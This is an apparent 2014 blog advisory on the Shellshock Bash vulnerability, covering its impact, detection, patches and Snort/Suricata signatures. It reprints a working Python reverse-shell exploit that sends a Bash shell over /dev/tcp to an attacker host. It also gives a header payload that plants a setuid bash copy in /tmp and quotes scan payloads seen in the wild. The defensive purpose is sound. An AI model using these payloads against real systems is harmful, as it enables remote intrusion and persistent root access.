Bash-ing (Bash Bug, Shell Shock) - All the information you need

The Bash Bug is a severe vulnerability discovered by by Stephane Chazelas of Akamai, who most probably deserves a pwnie award [1]. 
The discovery of this particular vulnerability is a serious risk, similar (maybe proven to be a lot bigger) to the Heartbleed bug [2]. Mostly because Linux not only runs the majority of the servers but also in a large number of embedded devices. Keep in mind that there are approximately about 25 years’ worth of Bash versions! Effectively, Mac OS X [11] and Android devices may also be running the vulnerable version of bash. 
Also, for Windows systems, msysgit contains a vulnerable version of bash (by Joshua McKinney) [12]. Which means, we are going to have more of these popping up very soon under the Windows platform as well.
Just to give you a hint about the severity of this vulnerability, NIST Vulnerability DataBase rated this with "10 out of 10". [3]

The vulnerability is remotely exploitable (CVE-2014-6271) and affects versions 1.14 through 4.3 of GNU Bash. Even though CVE-2014-6271 is not a complete fix, it makes the the patched systems more complicated to exploit at this stage. Due to the fact the patch does not fully addresses the issue a new CVE is used to track this. So, new patches will arrive soon to address CVE-2014-7169 very soon. Make sure you have a firewall in front of your systems and test that firewall you are using!!!

How is this possible:
Even though Bash is not directly used by remote users, it is usually called by other programs in order to execute commands (e.g. Web Server, Mail Server). Consequently, if an application calls a Bash shell command through the Web Server over HTTP or by using a Common-Gateway Interface (CGI) it is fairly possible this server to be exploited by sending specially crafted strings in the HTTP HEADER. 

For example, faking a HTTP_USER_AGENT string to something like:
() {;}; cp /bin/bash /tmp/.hidden && chmod 4755 /tmp/.hidden

If you provide access over SSH to untrusted users then you are at risk as well.

Proof of Concept Reverse Shell: A proof of concept code has been released which could allow a remote attacher to get a reverse shell on the target system. 

#####################################################################################
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
 print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
 print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
 exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
 "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

#####################################################################################

At the moment there is another ShellShock exlpoit in the wild [17].

Are you being scanned?
There is a first wave of scans being reported which contain the following HEADER information:
GET / HTTP/1.0
User-Agent: 
Accept: */*
Cookie: () { :; }; ping -c 17 [IP Address]
Host:() { :; }; ping -c 23 [IP Address]
Referer: () { :; }; ping -c [IP Address]

Maybe it would be a good idea to monitor your network for outbound ICMP traffic as it could be a good indicator you have a vulnerable server. 

A new wave of scans focus against cPanel’s /cgi-sys/defaultwebpage.cgi file using the following request:
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: () { :;}; /bin/ping -c 1 [IP Address]
Accept: */*

You can of course use nmap to do the above and see the ping echo requests with tcpdump, or wireshark:
nmap --script http-enum --script-args http.useragent="() { :; }; /bin/ping -c 4 $MYIP" 

How to manually check:
If you need to check if your Linux/Unix systems are vulnerable, which is highly advisable, you can run the following commands from your shell to test it:
env X="() { :;} ; echo ShellShock" /bin/sh -c "echo completed"
env X="() { :;} ; echo ShellShock" `which bash` -c "echo completed"

If the word "ShellShock" appears in the output, then your system is at risk and you need to take immediate action.

Remediation Actions:
At this moment, the following distribution have released patches to address the issue:

• Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution [13]
• CentOS (versions 5 through 7)
• Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
• Debian

You may also deploy detection signatures, as provided by Steven Adair [14]:

Snort Format:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”Volex – Possible CVE-2014-6271 bash Vulnerability Requested (header) “; flow:established,to_server; content:”() {“; http_header;  threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;)

Suricata Format:
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Volex – Possible CVE-2014-6271 bash Vulnerability Requested (header)”; flow:established,to_server; content:”() {“; http_header;  threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;)

You may also replace the use of Bash with dash. Dash is reported not to be vulnerable to this attack and it will not execute any injected commands. 

Further Information and actions:
It is believed that quite a few ICS and SCADA systems have the vulnerable version of Bash as reported by Digital Bond [7] and the chances of seeing a worn in the wild very soon are very high as reported by Errata Security after identifying a few thousand of systems vulnerable using Masscan. 
During one of my updates to this blog-post early this morning I saw a tweet from Troy Hunt about a similar write-up he did [10]. Make sure you read Troy's blog post as well, I will! :) Also, Michal Zalewski has provided further technical details [15] regarding this issue.

For further details on how this is exploitable see SecLists.org [4] and you will find even more information here [5]. There is also a Reddit discussion on the issue which can be found here [6].

At this stage, Rapid7's Nexpose have been updated with a new signature and Metasploit [9] has a new Bash scanner module in order to detect this issue. You can also use this W3AF plugin [16] to find shell shock vulnerabilities. 

Further reading material and interesting links: [18, 19, 20]

[1] http://en.wikipedia.org/wiki/Pwnie_Awards
[2] http://heartbleed.com
[3] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
[4] http://seclists.org/oss-sec/2014/q3/650
[5] http://seclists.org/oss-sec/2014/q3/651
[6] http://www.reddit.com/r/programming/comments/2hc1w3/cve20146271_remote_code_execution_through_bash/
[7] http://www.digitalbond.com/blog/2014/09/24/the-bash-bug-and-you-lessons-in-providing-patches/
[8] http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html 
[9] https://github.com/rapid7/metasploit-framework/commit/ff5398bf3f46c057666f7a3d0afaf4c0d6912575
[10] http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
[11] http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7/146851#146851
[12] https://www.dropbox.com/s/c5mrftup0p2049d/Screenshot%202014-09-25%2017.54.09.png
[13] https://access.redhat.com/articles/1200223
[14] http://www.volexity.com/blog/?p=19
[15] http://lcamtuf.blogspot.co.uk/2014/09/quick-notes-about-bash-bug-its-impact.html
[16] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94
[17] https://gist.github.com/mbulat/a49d0933c48687bcf5d7
[18] http://www.alienvault.com/open-threat-exchange/blog/attackers-exploiting-shell-shock-cve-2014-6721-in-the-wild
[19] http://ask.xmodulo.com/detect-patch-shellshock-vulnerability-bash.html
[20] https://gist.github.com/mbulat/a49d0933c48687bcf5d7